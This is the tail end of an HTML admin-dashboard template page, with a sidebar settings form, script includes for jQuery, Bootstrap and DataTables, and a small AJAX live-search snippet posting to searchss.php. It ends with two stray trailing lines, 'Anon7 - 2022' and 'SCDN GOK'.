      <label for="report_panel" class="control-sidebar-subheading ">Report panel usage</label>



            <p>

              general settings information

            </p>

          </div>

          <!-- /.form-group -->



          <div class="form-group">

            <input type="checkbox" id="allow_mail" class="chk-col-grey" >

      <label for="allow_mail" class="control-sidebar-subheading ">Mail redirect</label>



            <p>

              Other sets of options are available

            </p>

          </div>

          <!-- /.form-group -->



          <div class="form-group">

            <input type="checkbox" id="expose_author" class="chk-col-grey" >

      <label for="expose_author" class="control-sidebar-subheading ">Expose author name</label>



            <p>

              Allow the user to show his name in blog posts

            </p>

          </div>

          <!-- /.form-group -->



          <h3 class="control-sidebar-heading">Chat Settings</h3>



          <div class="form-group">

            <input type="checkbox" id="show_me_online" class="chk-col-grey" >

      <label for="show_me_online" class="control-sidebar-subheading ">Show me as online</label>

          </div>

          <!-- /.form-group -->



          <div class="form-group">

            <input type="checkbox" id="off_notifications" class="chk-col-grey" >

      <label for="off_notifications" class="control-sidebar-subheading ">Turn off notifications</label>

          </div>

          <!-- /.form-group -->



          <div class="form-group">

            <label class="control-sidebar-subheading">              

              <a href="javascript:void(0)" class="text-red margin-r-5"><i class="fa fa-trash-o"></i></a>

              Delete chat history

            </label>

          </div>

          <!-- /.form-group -->

        </form>

      </div>

      <!-- /.tab-pane -->

    </div>

  </aside>

  <!-- /.control-sidebar -->

  

  <!-- Add the sidebar's background. This div must be placed immediately after the control sidebar -->

  <div class="control-sidebar-bg"></div>

</div>

<!-- ./wrapper -->



  <!-- jQuery 3 -->

  <script src="assets/vendor_components/jquery/dist/jquery.min.js"></script>

  

  <!-- popper -->

  <script src="assets/vendor_components/popper/dist/popper.min.js"></script>

  

  <!-- Bootstrap v4.0.0-beta -->

  <script src="assets/vendor_components/bootstrap/dist/js/bootstrap.min.js"></script>

  

  <!-- SlimScroll -->

  <script src="assets/vendor_components/jquery-slimscroll/jquery.slimscroll.min.js"></script>

  

  <!-- FastClick -->

  <script src="assets/vendor_components/fastclick/lib/fastclick.js"></script>

  

  <!-- maximum_admin App -->

  <script src="js/template.js"></script>

  

  <!-- maximum_admin for demo purposes -->

  <script src="js/demo.js"></script>

  

  <!-- This is data table -->

    <script src="assets/vendor_plugins/DataTables-1.10.15/media/js/jquery.dataTables.min.js"></script>

    

    <!-- start - This is for export functionality only -->

    <script src="assets/vendor_plugins/DataTables-1.10.15/extensions/Buttons/js/dataTables.buttons.min.js"></script>

    <script src="assets/vendor_plugins/DataTables-1.10.15/extensions/Buttons/js/buttons.flash.min.js"></script>

    <script src="assets/vendor_plugins/DataTables-1.10.15/ex-js/jszip.min.js"></script>

    <script src="assets/vendor_plugins/DataTables-1.10.15/ex-js/pdfmake.min.js"></script>

    <script src="assets/vendor_plugins/DataTables-1.10.15/ex-js/vfs_fonts.js"></script>

    <script src="assets/vendor_plugins/DataTables-1.10.15/extensions/Buttons/js/buttons.html5.min.js"></script>

    <script src="assets/vendor_plugins/DataTables-1.10.15/extensions/Buttons/js/buttons.print.min.js"></script>

    <!-- end - This is for export functionality only -->

  

  <!-- maximum_admin for Data Table -->

  <script src="js/pages/data-table.js"></script>



  <script type="text/javascript">

    function fill(Value) {

 

   $('#search').val(Value); 

   $('#receiver').hide(); 

}

 

$(document).ready(function() {

   $("#search").keyup(function() {

    var name = $('#search').val();

   if (name == "") {

     $("#receiver").html("");

   }

   else {

     $.ajax({

     type: "POST",

     url: "searchss.php",

     data: {

         search: name

      },

      success: function(html) {

            $("#receiver").html(html).show();

             }

            });

 

       }

 

   });

 

});

  </script>



</body>



</html>








Anon7 - 2022
SCDN GOK